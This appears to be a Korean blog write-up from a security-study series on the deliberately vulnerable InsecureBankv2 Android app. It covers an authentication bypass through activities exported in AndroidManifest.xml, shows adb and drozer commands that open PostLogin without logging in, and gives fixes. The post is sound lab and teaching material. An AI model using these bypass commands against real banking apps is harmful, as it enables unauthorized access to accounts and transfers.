본문 바로가기

Security Study/Android

[InsecureBankv2] 취약한 인증 메커니즘

취약점 개요

취약점 설명

인증 없이 또는 인증을 우회하여 시스템에 접근할 수 있는 취약점을 의미한다.

보안 위협

인증 없이 우회가 가능하여 다른 액티비티에 접근이 가능하다.

발생 위치

AndroidManifext.xml

 

취약점 진단 과정

adb

Step 1) AndroidManifest.xml의 액티비티 확인

액티비티의 android:exported 속성이 “true”로 설정되어 있는 것을 확인할 수 있다. 이는 다른 액티비티에서 인증 없이 접근 가능함을 의미한다.

<activity
    android:name=".LoginActivity"
    android:label="@string/app_name" >
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
<activity
    android:name=".PostLogin"
    android:exported="true"
    android:label="@string/title_activity_post_login" >
</activity>
<activity
    android:name=".DoTransfer"
    android:exported="true"
    android:label="@string/title_activity_do_transfer" >
</activity>
<activity
    android:name=".ViewStatement"
    android:exported="true"
    android:label="@string/title_activity_view_statement" >
</activity>
<activity
    android:name=".ChangePassword"
    android:exported="true"
    android:label="@string/title_activity_change_password" >
</activity>

Step 2) 액티비티 실행

로그인 없이 다른 액티비티로 이동한 것을 확인할 수 있다.

# am start [애플리케이션 설치 주소]/[패키지 주소]
am start com.android.insecurebankv2/com.android.insecurebankv2.PostLogin

drozer

Step 1) 액티비티 정보 확인

com.android.insecurebankv2 패키지에서 LoginActivity, PostLogin, DoTransfer, ViewStatement, ChangePassword 액티비티를 확인할 수 있다. 모든 액티비티는 Permission 권한이 설정되어 있지 않다.

Step 2) 액티비티 실행

로그인 없이 다른 액티비티로 이동한 것을 확인할 수 있다.

# run app.activity.start --component [애플리케이션 설치 주소] [패키지 주소]
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin

 

대응 방안

  • AndroidManifest.xml의 액티비티 항목의 android:exported=”true” 속성을 “false”로 변경한다.
  • android:exported 속성을 “true”로 설정할 경우, 별도의 intent-filter로 검증한다.
반응형